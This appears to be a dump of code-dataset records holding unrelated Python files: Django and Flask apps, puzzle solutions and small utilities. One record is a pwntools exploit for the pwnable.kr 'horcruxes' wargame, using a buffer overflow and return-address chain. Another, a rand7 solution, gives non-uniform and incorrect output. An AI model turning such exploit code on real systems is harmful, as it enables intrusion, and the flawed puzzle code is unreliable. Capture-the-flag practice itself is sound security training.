evaluate for all arranges of index.\n for i in itertools.permutations(index, self.length):\n # Deduplicate.\n _index = list(np.array(i))\n if _index in all_candidate_set:\n continue\n result, degree = self.evaluate_and_filter(_index, DEGREE, isfullKG)\n if result != 0:\n all_candidate_set.append(_index)\n candidate.append([_index, result, degree])\n if not gc.isenabled():\n gc.enable()\n del rel_emb, score_top_container\n gc.collect()\n gc.disable()\n '''\n\n # print(\"\\n*^_^* Yeah, there are %d rules. *^_^*.\" % len(candidate))\n\n # learn_weights(candidate)\n return candidate\n","sub_path":"rule_search_and_learn_weights_2.py","file_name":"rule_search_and_learn_weights_2.py","file_ext":"py","file_size_in_byte":19285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"572243646","text":"\"\"\" Using a function rand5() that returns an integer from 1 to 5 (inclusive) with uniform probability, \nimplement a function rand7() that returns an integer from 1 to 7 (inclusive).\n \"\"\"\nimport random\nimport math\n\ndef rand5():\n r1 = random.randint(1,5)\n return r1\n\ndef rand7():\n r2 = rand5()\n if (r2 % 3 == 0):\n r3 = r2\n else:\n r3 = math.floor(r2 * 7/5)\n return r3\n\nprint(rand7())\n","sub_path":"403.py","file_name":"403.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"470382756","text":"#! /usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n#-----------------------------------------------------------------------------\r\n# Author: Fabien Marteau \r\n# Created: 20/08/2014\r\n#-----------------------------------------------------------------------------\r\n\"\"\" class thunderbird2vcard\r\n\"\"\"\r\n\r\nimport sys\r\nimport shlex\r\n\r\n\r\ndef formatphonenum(phone_string):\r\n return phone_string.replace(\" \",'').replace('.', '')\r\n\r\nif __name__ == \"__main__\":\r\n filein = open(sys.argv[1], \"r\")\r\n champs = [value.strip() for value in filein.readline().split(\",\")]\r\n print(str(champs))\r\n print(str(len(champs)) + \" champs\")\r\n\r\n contacts = []\r\n for line in filein:\r\n line = line.strip().replace(\",\",\", \") #XXX Garder les champs vide !\r\n myshlex = shlex.shlex(line, posix=True)\r\n myshlex.whitespace = \",\"\r\n myshlex.quotes = '\"'\r\n myshlex.whitespace_split = True\r\n record = [value.strip() for value in list(myshlex)]\r\n contacts.append(dict(zip(champs, record)))\r\n filein.close()\r\n\r\n fileout = open(sys.argv[2], \"w\")\r\n for record in contacts:\r\n fileout.write(\"BEGIN:VCARD\\n\")\r\n fileout.write(\"VERSION:4.0\\n\")\r\n fileout.write(\"n:\" + record.get(\"Last Name\", '') +\r\n \";\" + record.get(\"First Name\", '') +\r\n \";;;;\\n\")\r\n if record[\"Display Name\"] == '':\r\n fileout.write(\"fn:\" + record.get(\"First Name\", '') +\r\n \" \" + record.get(\"Last Name\", '') + \"\\n\")\r\n else:\r\n fileout.write(\"fn:\" + record.get(\"Display Name\", '') + \"\\n\")\r\n \r\n if record.get(\"Primary Email\", '') != '':\r\n fileout.write(\"email;type=internet,home,pref:\" +\r\n record[\"Primary Email\"] + \"\\n\")\r\n if record.get(\"Secondary Email\", '') != '':\r\n fileout.write(\"email;type=internet,home,pref:\" +\r\n record[\"Secondary Email\"] + \"\\n\")\r\n\r\n value = record.get(\"Work Phone\", '')\r\n if value != '':\r\n fileout.write(\"tel;type=work:\" +\r\n formatphonenum(value) +\r\n \"\\n\")\r\n value = record.get(\"Home Phone\", '')\r\n if value != '':\r\n fileout.write(\"tel;type=home:\" +\r\n formatphonenum(value) +\r\n \"\\n\")\r\n value = record.get(\"Mobile Number\", '')\r\n if value != '':\r\n fileout.write(\"tel;type=cell:\" +\r\n formatphonenum(value) +\r\n \"\\n\")\r\n #home address\r\n homeadress = record.get(\"Home Address\", '') +\\\r\n \" \" +\\\r\n record.get(\"Home Address 2\", '')\r\n\r\n fileout.write(\"adr;type=home:;;\" +\r\n homeadress.strip() +\r\n \";\" +\r\n record.get(\"Home City\", '') +\r\n \";\" +\r\n record.get(\"Home State\", '') +\r\n \";\" +\r\n record.get(\"Home ZipCode\", '') +\r\n \";\" +\r\n record.get(\"Home Country\", '') +\r\n \"\\n\")\r\n\r\n #home address\r\n workadress = record.get(\"Work Address\", '') +\\\r\n \" \" +\\\r\n record.get(\"Work Address 2\", '')\r\n\r\n fileout.write(\"adr;type=home:;;\" +\r\n workadress.strip() +\r\n \";\" +\r\n record.get(\"Work City\", '') +\r\n \";\" +\r\n record.get(\"Work State\", '') +\r\n \";\" +\r\n record.get(\"Work ZipCode\", '') +\r\n \";\" +\r\n record.get(\"Work Country\", '') +\r\n \"\\n\")\r\n fileout.write(\"END:VCARD\\n\")\r\n fileout.close()\r\n","sub_path":"thunderbird2vcard.py","file_name":"thunderbird2vcard.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"215828325","text":"import requests\n\ndef get_old_data():\n result = requests.get('http://127.0.0.1:8080/read/item/active_items')\n json_obj = result.json()\n\n print('Received new data from api')\n\n old_items = []\n\n for obj in json_obj:\n parsed_obj = lambda: None\n\n parsed_obj.url = obj[0]\n parsed_obj.price = obj[1]\n\n old_items.append(parsed_obj)\n \n print('Parsed new data\\n')\n\n return old_items","sub_path":"Get_old_data.py","file_name":"Get_old_data.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"441262113","text":"from django.contrib import admin\nfrom django.conf import settings \nfrom ..models.features import * \nfrom ..resources.features import * \nfrom modeltranslation.admin import TabbedTranslationAdmin\nfrom import_export.admin import ImportExportActionModelAdmin, ImportExportModelAdmin\nimport nested_admin \n\n\nclass ItemFeatureInline(nested_admin.NestedTabularInline):\n model = ItemFeature\n # model = ItemFeature.items.through\n extra = 0\n classes = ['collapse']\n if 'jet' not in settings.INSTALLED_APPS:\n autocomplete_fields = [\n 'name',\n 'value',\n 'category',\n ]\n # classes \n\n\n\nfrom .filters import * \n\n@admin.register(ItemFeature)\nclass ItemFeatureAdmin(admin.ModelAdmin):\n class Media:\n pass\n search_fields = [\n 'name__name',\n 'value__value',\n 'item__title',\n ]\n list_display = [\n 'id',\n 'item',\n 'name',\n 'value',\n 'category',\n ]\n list_display_links = [\n 'id',\n ]\n list_filter = [\n # 'item',\n FeatureFilter,\n FeatureValueFilter,\n FeatureCategoryFilter,\n ]\n autocomplete_fields = [\n 'item',\n 'name',\n 'value',\n 'category',\n ]\n\n\n@admin.register(FeatureValue)\nclass FeatureValueAdmin(\n TabbedTranslationAdmin,\n ImportExportActionModelAdmin,\n ImportExportModelAdmin,\n # admin.ModelAdmin\n ):\n resource_class = FeatureValueResource\n search_fields = ['value']\n list_display = [\n 'id',\n 'code',\n 'value',\n ]\n list_editable = [\n 'value',\n ]\n list_display_links = [\n 'id',\n ]\n\n\n@admin.register(Feature)\nclass FeatureAdmin(\n TabbedTranslationAdmin,\n ImportExportActionModelAdmin,\n ImportExportModelAdmin,\n # admin.ModelAdmin\n ):\n\n search_fields = ['name']\n list_display = [\n 'id',\n 'code',\n 'name',\n ]\n list_display_links = [\n 'id',\n ]\n list_editable = [\n # 'code',\n 'name',\n ]\n autocomplete_fields = [\n # 'category',\n ]\n\n\n@admin.register(FeatureCategory)\nclass FeatureCategoryAdmin(\n TabbedTranslationAdmin,\n ImportExportActionModelAdmin,\n ImportExportModelAdmin,\n # admin.ModelAdmin\n ):\n\n search_fields = ['name']\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"apps/sw_shop/sw_catalog/admin/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"599089285","text":"import discord\n\nfrom bot.arguments import Arguments, ArgumentException\nfrom bot.command import Command, command, role, dev, live, argument\nfrom bot.events import EventHandler, event\nfrom bot.profile import Profile\nfrom bot.context import Context\nfrom bot.task import Task, task\n\nclass Extension:\n pass\n\ndef in_role_list(member, roles):\n \"\"\"Check if a member is in a list of roles\"\"\"\n if \"@everyone\" in roles:\n return True\n if isinstance(member, discord.User):\n return False\n for r in member.roles:\n if r.name.lower() in roles:\n return True\n return False\n\nasync def send_stats(c, prefix, resp, raw, channel):\n printing = False\n header = False\n inside = False\n text = \"\"\n info = \"\"\n for line in resp:\n if line.strip().startswith(\"File: {}\".format(c.file)):\n printing = True\n elif line.strip().startswith(\"File:\"):\n printing = False\n elif printing and line.startswith(\"----\"):\n header = True\n if printing and not header:\n if not line.startswith(\"Line #\"):\n info += line + \"\\n\"\n elif printing and not inside:\n if line.split(\"|\",1)[0].strip() == str(c.start - 1):\n inside = True\n elif printing and inside:\n if line.split(\"|\",1)[0].strip() == str(c.end + 1):\n inside = False\n if inside:\n fields = line.split(\"|\")\n data = [x.strip() for x in fields[:-1]]\n if len(data) == 0:\n continue\n if data[0] != \"(call)\":\n data.append(fields[-1][4:])\n else:\n try:\n data.append(\"#\"+fields[-1].split(\"site-packages/\")[1])\n except IndexError:\n data.append(\"#\"+fields[-1])\n del fields\n dec = \"{}{}: {} ({}, {})\".format(data[0], \" \" * (6 - len(data[0])), data[1], data[2], data[4])\n text += \"{}{}| {}\".format(dec, \" \" * (30 - len(dec)), data[-1]) + \"\\n\"\n embed = discord.Embed(\n title=\"{}{} {}\".format(prefix, c.name, \" \".join(raw[1:])),\n description=info\n )\n await channel.send(\"```py\\n\"+text+\"```\", embed=embed)\n","sub_path":"bot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"81114205","text":"class Solution:\n def numTrees(self, n: int) -> int:\n result = [0 for _ in range(n + 1)]\n result[0] = result[1] = 1\n for i in range(2, n + 1):\n for j in range(i):\n result[i] += result[j] * result[i - j - 1]\n return result[n]\n\n\nclass Solution:\n def numTrees(self, n):\n \"\"\"\n :type n: int\n :rtype: int\n \"\"\"\n # 找规律,就是卡特兰数:(2n)! / [n! * (n+1)!]\n sum_1 = 1\n for i in range(n + 1, 2 * n + 1):\n sum_1 *= i\n\n sum_2 = 1\n for i in range(1, n + 2):\n sum_2 *= i\n\n return sum_1 // sum_2\n","sub_path":"题目分类/动态规划/unique_binary_search_trees_96.py","file_name":"unique_binary_search_trees_96.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"316242470","text":"# -*- coding:utf-8 -*-\n# @Author : 'longguangbin'\n# @Contact : lgb453476610@163.com\n# @Date : 2020/03/29\n\"\"\"\nUsage Of 'similar_word.py' : \n\"\"\"\n\nfrom mxnet import nd\nfrom mxnet.contrib import text\n\n\ndef knn(W, x, k):\n \"\"\" knn算法 \"\"\"\n # 添加的1e-9是为了数值稳定性\n cos = nd.dot(W, x.reshape((-1,))) / (\n (nd.sum(W * W, axis=1) + 1e-9).sqrt() * nd.sum(x * x).sqrt())\n topk = nd.topk(cos, k=k, ret_typ='indices').asnumpy().astype('int32')\n return topk, [cos[i].asscalar() for i in topk]\n\n\ndef get_similar_tokens(query_token, k, embed):\n \"\"\" 获取近义词 \"\"\"\n topk, cos = knn(embed.idx_to_vec,\n embed.get_vecs_by_tokens([query_token]), k+1)\n for i, c in zip(topk[1:], cos[1:]): # 除去输入词\n print('cosine sim=%.3f: %s' % (c, (embed.idx_to_token[i])))\n\n\ndef get_analogy(token_a, token_b, token_c, embed):\n \"\"\" 获取类比词 \"\"\"\n vecs = embed.get_vecs_by_tokens([token_a, token_b, token_c])\n x = vecs[1] - vecs[0] + vecs[2]\n topk, cos = knn(embed.idx_to_vec, x, 1)\n return embed.idx_to_token[topk[0]]\n\n\n# 预训练的词向量\nglove_6b50d = text.embedding.create(\n 'glove', pretrained_file_name='glove.6B.50d.txt')\n\n# 求近义词\nget_similar_tokens('chip', 3, glove_6b50d)\n\n# 获取类比词\nget_analogy('man', 'woman', 'son', glove_6b50d)\n","sub_path":"dl_learn/NLP/RNN/similar_word.py","file_name":"similar_word.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"132844314","text":"from flask import Blueprint,render_template,flash, redirect, url_for, request, Response, jsonify\nfrom jinja2 import TemplateNotFound\nfrom hswebapp import app,db\nfrom importlib import import_module\nimport os\nfrom flask_login import login_required,login_user,logout_user, current_user\nfrom datetime import datetime\nfrom time import sleep\nfrom hswebapp.forms.hswforms import LoginForm,RegisterForm,EditUserForm\nfrom hswebapp.models.system_models import User,Logs,AccessGroup\nimport copy\nfrom datetime import datetime\nfrom sqlalchemy.exc import IntegrityError\nfrom hswebapp.models.hsutil import Hsutil\n\nwebapp_auth = Blueprint('webapp_auth', __name__,template_folder='templates/auth/pages')\n@webapp_auth.route('/register', methods=['GET','POST'])\n\ndef register():\n form = RegisterForm()\n \n if form.validate_on_submit():\n \n try:\n new_user = User(username=form.username.data,email=form.email.data,lastlogin=datetime.now())\n new_user.set_password(new_password=form.password.data)\n db.session.add(new_user)\n db.session.commit()\n \n except IntegrityError as e:\n db.session.rollback()\n flash('The user: {} or the email {} already exists \\n Thank you'.format(form.username.data,form.email.data))\n app.logger.error('Sign up error: {}'.format(e))\n return render_template(\"hsw_signup.html\",form = form)\n \n except Exception as e:\n app.logger.error('Sign up error: {}'.format(e))\n db.session.rollback()\n flash('Error! Sorry for the inconvinience The issue has been logged and it will be solved asap')\n return render_template(\"hsw_signup.html\",form = form)\n \n finally:\n db.session.close()\n \n \n flash('The user: {} has been created'.format(form.username.data)) \n return redirect(url_for('webapp_auth.login'))\n \n return render_template(\"hsw_signup.html\",form = form)\n\n@webapp_auth.route('/login', methods=['GET','POST'] )\ndef login():\n form = LoginForm()\n if form.validate_on_submit():\n \n try: \n user = User.query.filter_by(username=form.username.data).first()\n \n \n if (user):\n if user.check_password(check_password=form.password.data):\n user.lastlogin = datetime.now()\n db.session.commit()\n \n login_user(user,remember=form.rememberme.data)\n \n log = Logs(user_id= user.id,operation='login',origin='webapp')\n db.session.add(log)\n db.session.commit()\n \n #TODO IMPLEMENT REDIRECT GET THE NEXT\n #next = request.args.get('next')\n #if not is_safe_url(nextform):\n # return flask.abort(400)\n #http://flask.pocoo.org/snippets/62/\n #return redirect(url_for(next))\n next_page = request.args.get('next')\n #flash(next_page) none \n if not next_page or not next_page.startswith('/'):\n next_page=url_for('views.home')\n return redirect(next_page)\n \n \n #return redirect(url_for('views.home'))\n \n flash('Invalid password')\n return render_template(\"hsw_login.html\",form = form)\n flash('User does not exist')\n return render_template(\"hsw_login.html\",form = form)\n \n except:\n flash(\"InvalidRequestError: {} \".format(sys.exc_info()[0]))\n \n raise\n db.session.rollback()\n return redirect(url_for('home'))\n \n finally:\n db.session.close()\n \n return render_template(\"hsw_login.html\",form = form)\n\n@webapp_auth.route('/logout')\n@login_required\ndef logout():\n ## fix the null problem log out\n #shallow copy copy.copy(current_user.id)\n user= copy.copy(current_user)\n logout_user()\n flash(\"See ya: {}\".format(user.username))\n log = Logs(user_id= user.id,operation='logout',origin='webapp')\n db.session.add(log)\n db.session.commit() \n return redirect(url_for('views.home'))\n\n@webapp_auth.route('/logs')\n@login_required\ndef user_logs():\n \n try:\n users= User.query.all()\n except:\n raise\n db.session.rollback()\n \n #finally: does not show the logs detail\n # db.session.close()\n \n return render_template(\"logs_stats.html\", users=users)\n \n\n@webapp_auth.route('/users', methods=['GET'])\ndef show_users():\n# http://flask-sqlalchemy.pocoo.org/2.3/api/ check flask_sqlalchemy.Pagination \n page_num = request.args.get('page_num',1,type=int)\n \n users = User.query.paginate(per_page=3, page=page_num, error_out=True)\n\n return render_template('system_users.html', users=users) \n\n@webapp_auth.route('/edit_user', methods=['GET','POST'] )\n@login_required\ndef edit_user():\n \n form = EditUserForm(obj=current_user)\n form.acess_group.choices = [(g.id, g.description) for g in AccessGroup.query.order_by('id')]\n \n \n if (request.method == 'POST' and form.validate_on_submit()==True):\n \n form.populate_obj(current_user) \n db.session.commit()\n \n flash('Your change(s) has(have) been saved ')\n return redirect(url_for('webapp_auth.edit_user'))\n db.session.close() ## close the session on update page problems \n return render_template('edit_user.html', form=form,hsutil=Hsutil)\n \n \n@webapp_auth.route('/delete_user', methods=['GET','POST'] )\n@login_required\ndef delete_user():\n \n user_id=request.form['user_id']\n \n# user_id = request.args.get('user_id',0,type=int)\n user = User.query.get(user_id)\n if not user : \n return jsonify({'result' : 'error','message':'User not provided'})\n \n \n if (user.logs.count() == 0):\n db.session.delete(user) # todo check for constraint \n db.session.commit()\n else :\n \n user.deleted_on=datetime.utcnow()\n #db.session.add(user)\n db.session.commit()\n \n return jsonify({'result' : 'success', 'message' :'user deleted' })\n \n@webapp_auth.route('/update_user', methods=['POST'])\n@login_required\ndef update_user():\n app.logger.info('updating user')\n updated=datetime.now()\n try:\n user = User.query.filter_by(id=request.form['id']).first()\n user.username = request.form['username']\n user.email = request.form['email']\n user.updatedAt = updated\n \n db.session.commit()\n \n \n except Exception as e:\n app.logger.error('Update error: {}'.format(e))\n db.session.rollback()\n flash('Error! Sorry for the inconvinience The issue has been logged and it will be solved asap') \n return jsonify({'result' : 'error'})\n \n finally:\n db.session.close()\n \n return jsonify({'result' : 'success', 'updated' :updated })\n\n ","sub_path":"hswebapp/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":7208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"143626562","text":"from django.test import TestCase\r\nfrom django.urls import reverse\r\nfrom django.utils.text import slugify\r\nfrom forum.models import Post\r\n\r\nclass PostModelTest(TestCase):\r\n @classmethod\r\n def setUpTestData(self):\r\n self.post = Post.objects.create(title='my dummy title', text='my_text',)\r\n\r\n def test_post_creation(self):\r\n # Test post is an instance of Post.\r\n self.assertTrue(isinstance(self.post, Post))\r\n # Test title is what should be.\r\n self.assertEqual(self.post.title, 'my dummy title')\r\n # Test slug.\r\n my_slug = slugify(self.post.title)\r\n self.assertEqual(self.post.slug, my_slug)\r\n \r\n def test_field_labels(self):\r\n # Test title label.\r\n title_label = self.post._meta.get_field('title').verbose_name\r\n self.assertEqual(title_label, 'title')\r\n # Test text label.\r\n text_label = self.post._meta.get_field('text').verbose_name\r\n self.assertEqual(text_label, 'text')\r\n # Test date_added label.\r\n date_added_label = self.post._meta.get_field('date_added').verbose_name\r\n self.assertEqual(date_added_label, 'date added')\r\n\r\n def test_field_max_lengths(self):\r\n # Test title field max length.\r\n title_length = self.post._meta.get_field('title').max_length\r\n self.assertEqual(title_length, 200)\r\n\r\n def test_post_object_name(self):\r\n # Test that title is used as string representation of the object.\r\n expected_object_name = self.post.title\r\n self.assertEqual(expected_object_name, str(self.post))","sub_path":"src/forum/tests/test_models.py","file_name":"test_models.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"583821220","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\nCapital=int(input())\nTarget_amount=int(input())\nS=(input(\"Enter Monthly or Yearly\"))\n\n\nif(Capital<0):\n print (\"error\")\nelif(Target_amount<0):\n print (\"error\")\nelif(Target_amount<=Capital):\n print (\"error\")\nelif(n<0):\n print (\"error\")\n\n\nif (Capital>=100000):\n r=3\n \nelif(100000>Capital>50000):\n r=2.5\nelif(Capital<50000):\n r=2\nR=r/100\nif(S==\"Yearly\"):\n n=int(input(\"Enter no of years:\"))\n p= 1+ (R)\n Yearly_our_payment=Target_amount-(Capital*(p ** n))\n Yearly_our_payment=Yearly_our_payment/n\n print(Yearly_our_payment)\n\nelif(S==\"Monthly\"):\n n=int(input(\"Enter no of months:\"))\n p= 1+(R/12)\n Monthly_our_payment=Target_amount-(Capital*(p ** n))\n Monthly_our_payment=Monthly_our_payment/n\n print(Monthly_our_payment)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"Shreya_code/Shreya.py","file_name":"Shreya.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"154748545","text":"\n\n# 37. Sudoku Solver\n# https://leetcode.com/problems/sudoku-solver\n\n\nclass Solution:\n def solveSudoku(self, board):\n \"\"\"\n :type board: List[List[str]]\n :rtype: void Do not return anything, modify board in-place instead.\n \"\"\"\n\n # analysis\n rows = [set() for _ in range(9)]\n cols = [set() for _ in range(9)]\n boxes = [set() for _ in range(9)]\n\n for i in range(9):\n for j in range(9):\n digit = board[i][j]\n if board != '.':\n box_index = 3 * (i // 3) + (j // 3)\n rows[i].add(digit)\n cols[j].add(digit)\n boxes[box_index].add(digit)\n\n # candidates\n candidates = list()\n all_digits = set(\"123456789\")\n for i in range(9):\n for j in range(9):\n if board[i][j] == '.':\n box_index = 3 * (i // 3) + (j // 3)\n rest = all_digits - rows[i] - cols[j] - boxes[box_index]\n candidates.append(((i, j), rest, len(rest)))\n candidates.sort(key=lambda t: t[2])\n\n # solve\n depth = len(candidates)\n\n def solve(ci):\n if ci == depth:\n return True\n\n r, c = candidates[ci][0]\n digits = candidates[ci][1]\n bi = 3 * (r // 3) + (c // 3)\n\n for d in digits:\n if not (d in rows[r] or d in cols[c] or d in boxes[bi]):\n board[r][c] = d\n rows[r].add(d)\n cols[c].add(d)\n boxes[bi].add(d)\n if solve(ci+1):\n return True\n board[r][c] = '.'\n rows[r].remove(d)\n cols[c].remove(d)\n boxes[bi].remove(d)\n\n return False\n\n solve(0)\n\n\nsudoku = [[\"5\",\"3\",\".\",\".\",\"7\",\".\",\".\",\".\",\".\"],[\"6\",\".\",\".\",\"1\",\"9\",\"5\",\".\",\".\",\".\"],[\".\",\"9\",\"8\",\".\",\".\",\".\",\".\",\"6\",\".\"],[\"8\",\".\",\".\",\".\",\"6\",\".\",\".\",\".\",\"3\"],[\"4\",\".\",\".\",\"8\",\".\",\"3\",\".\",\".\",\"1\"],[\"7\",\".\",\".\",\".\",\"2\",\".\",\".\",\".\",\"6\"],[\".\",\"6\",\".\",\".\",\".\",\".\",\"2\",\"8\",\".\"],[\".\",\".\",\".\",\"4\",\"1\",\"9\",\".\",\".\",\"5\"],[\".\",\".\",\".\",\".\",\"8\",\".\",\".\",\"7\",\"9\"]]\n\nSolution().solveSudoku(sudoku)\n\nfor row in sudoku:\n print(row)","sub_path":"python/37. Sudoku Solver.py","file_name":"37. Sudoku Solver.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"83587472","text":"import argparse, base64, json, asyncio, websockets\nfrom communication import interact\n\ndef confirm_deny_cancel(inp):\n\tprediction = ai_predict(inp)['prediction_data']\n\tif prediction['certainty'] > 0.7:\n\t\tif prediction['tag'] == 'cancel':\n\t\t\texit()\n\t\telse:\n\t\t\treturn prediction['tag']\n\nasync def request(uri, data):\n\tasync with websockets.connect(uri) as websocket:\n\t\tawait websocket.send(data)\n\t\treturn dict(json.loads(await websocket.recv()))\n\ndef ai_predict(data):\n\treturn asyncio.get_event_loop().run_until_complete(\n\t\trequest('ws://localhost:8765', data))\n\n\ndef main(data):\n\tinteract.say('looks like you havent programmed me to do this yet. heres some data: '+str(data))\n\t\t\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--data', required=True)\nargs = parser.parse_args()\nwrapped = args.data\nunwrapped = base64.b64decode(wrapped.encode('utf-8'))\ncall_json = json.loads(unwrapped.decode('utf-8'))\nmain(call_json)","sub_path":"action/templates/action_template.py","file_name":"action_template.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"496521642","text":"import numpy as np\nimport cv2\nimport argparse\n\nCASCADE = \"./haar-hand.xml\"\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--in_video', type=str, help='input video path', default='./video_samples/Long.avi')\n parser.add_argument('--in_cascade', type=str, help='input cascade path', default=CASCADE)\n\n args = parser.parse_args()\n cap = cv2.VideoCapture(args.in_video)\n haar_cascade = cv2.CascadeClassifier(args.in_cascade)\n\n if cap.isOpened():\n ret, frame = cap.read()\n frame_h, frame_w,deep = frame.shape\n frame2 = np.zeros((frame_h, frame_w, 3), np.uint8) + 0\n heat_map = np.zeros(frame2.shape)\n\n heat_fr = 3\n heat_eps = 1\n step_cntr = 0\n d_default = frame_w // 4\n cyan_prm = (255, 255, 0)\n white_prm = (255, 255, 255)\n\n hand_crd = np.zeros((1, 2), np.int32)\n hand_crd = np.delete(hand_crd, 0, 0)\n cleared = False\n\n while (cap.isOpened()):\n ret, frame = cap.read()\n if ret == True:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n else:\n break\n\n detects = haar_cascade.detectMultiScale(gray, scaleFactor=1.05, minNeighbors=6,\n minSize=(d_default, d_default))\n step_cntr += 1\n for (x, y, w, h) in detects:\n cv2.rectangle(gray, (x, y), (x + w, y + h), (255, 0, 0), 2)\n heat_map[y:y + h:, x:x + w] += 1\n if step_cntr == heat_fr:\n heat_max = heat_map.max()\n # cv2.imshow('heatmap', heat_map)\n if heat_max > heat_eps:\n hand_mean = np.argwhere(heat_map == heat_map.max()).mean(0, dtype=np.int32).reshape((1, 3))[:,:2]\n if cleared:\n # hand_crd = np.vstack([hand_crd, hand_mean])\n hand_len = len(hand_crd)\n d_step = np.sqrt(((hand_mean - hand_crd[hand_len - 1]) ** 2).sum())\n if d_default > d_step:\n hand_crd = np.vstack([hand_crd, hand_mean])\n hand_len = len(hand_crd)\n yc, xc = hand_crd[hand_len - 1]\n y0, x0 = hand_crd[hand_len - 2]\n cv2.line(frame2, (x0, y0), (xc, yc), cyan_prm, 2)\n cv2.circle(frame2, (xc, yc), 2, white_prm, 2)\n if xc > frame_w // 2:\n cv2.rectangle(gray, (frame_w // 2, 0), (frame_w, frame_h), white_prm, 2)\n else:\n cv2.rectangle(gray, (0, 0), (frame_w // 2, frame_h), white_prm, 2)\n else:\n hand_crd = np.vstack([hand_crd, hand_mean])\n cleared = True\n heat_map = heat_map * 0\n step_cntr = 0\n\n cv2.imshow('frame', gray)\n cv2.imshow('track', frame2)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n else:\n print(\"Video file not found\")\n\n\n\n cap.release()\n cv2.destroyAllWindows()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"SM7_CV/DInamic/w2/PlayVideo.py","file_name":"PlayVideo.py","file_ext":"py","file_size_in_byte":3273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"248168688","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n__Auther__ = 'Vang3lis'\n\nfrom pwn import *\nfrom time import sleep\nimport roputils as rp\nimport os\nimport sys\nimport ctypes\n\nAddr = \"pwnable.kr\"\nPort = 2222\nuser = \"horcruxes\"\npassword = \"guest\"\n\ncontext.log_level = \"debug\"\ncontext.os = \"Linux\"\n\ns = ssh(host=Addr, port=Port, user=user, password=password)\nio = s.remote(\"127.0.0.1\", 9032)\ncontext.log_level = \"info\"\n\nsuccess = lambda name, value: log.success(\"{} -> {:#x}\".format(name, value))\n\nif __name__ == \"__main__\":\n A = 0x0809FE4B\n B = 0x0809FE6A\n C = 0x0809FE89\n D = 0x0809FEA8\n E = 0x0809FEC7\n F = 0x0809FEE6\n G = 0x0809FF05\n ropme = 0x0809FFF9\n\n io.sendlineafter(\"Select Menu:\", \"0\")\n payload = (0x74+4)*\"T\" + p32(A)+p32(B)+p32(C)+p32(D)+p32(E)+p32(F)+p32(G) + p32(ropme)\n io.sendlineafter(\"earned? : \", payload) \n \n EXP = 0\n for i in range(7):\n io.recvuntil(\"EXP +\")\n x = int(io.recvuntil(\")\", drop=True))\n log.info(x)\n EXP += x\n log.info(\"EXP : %d\" % EXP)\n\n io.sendlineafter(\"Select Menu:\", \"0\")\n io.sendlineafter(\"earned? : \", str(ctypes.c_int(EXP).value))\n\n io.interactive()\n io.close()\n\n\n","sub_path":"pwnable_kr_horcruxes/exp.py","file_name":"exp.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"525629991","text":"from django.db import models\nfrom django.contrib.auth.models import User\n\n\n# shared user models\nclass DishiUser(models.Model):\n username = models.CharField(max_length=50, blank=True)\n first_name = models.CharField(max_length=50, blank=False)\n last_name = models.CharField(max_length=50, blank=False)\n email = models.EmailField(max_length=50, blank=False)\n profile_picture = models.ImageField(blank=True)\n\n class Meta:\n abstract = True\n\n\nclass DishItem(models.Model):\n title = models.CharField(max_length=50, blank=False)\n item_picture = models.ImageField(blank=True)\n description = models.TextField()\n\n class Meta:\n abstract = True\n\n\nclass Like(models.Model):\n like = models.IntegerField()\n liker = models.ForeignKey(User, blank=True)\n\n class Meta:\n abstract = True\n\n\nclass Comment(models.Model):\n comment = models.TextField()\n commenter = models.ForeignKey(User, blank=True)\n\n class Meta:\n abstract = True\n\n\n# this fields are use for the multi-select/choice fields of the chef model\nBUSINESS_TYPE_CHOICES = [\n ('type_1', 'Start a Food Business'),\n ('type_2', 'Scale an existing food business'),\n ('type_3', 'Sell food in my spare time'),\n ('type_4', 'Offer cooking classes'),\n]\nKITCHEN_TYPE_CHOICES = [\n ('type_1', 'bakery'),\n ('type_2', 'cuisine'),\n ('type_3', 'African'),\n ('type_4', 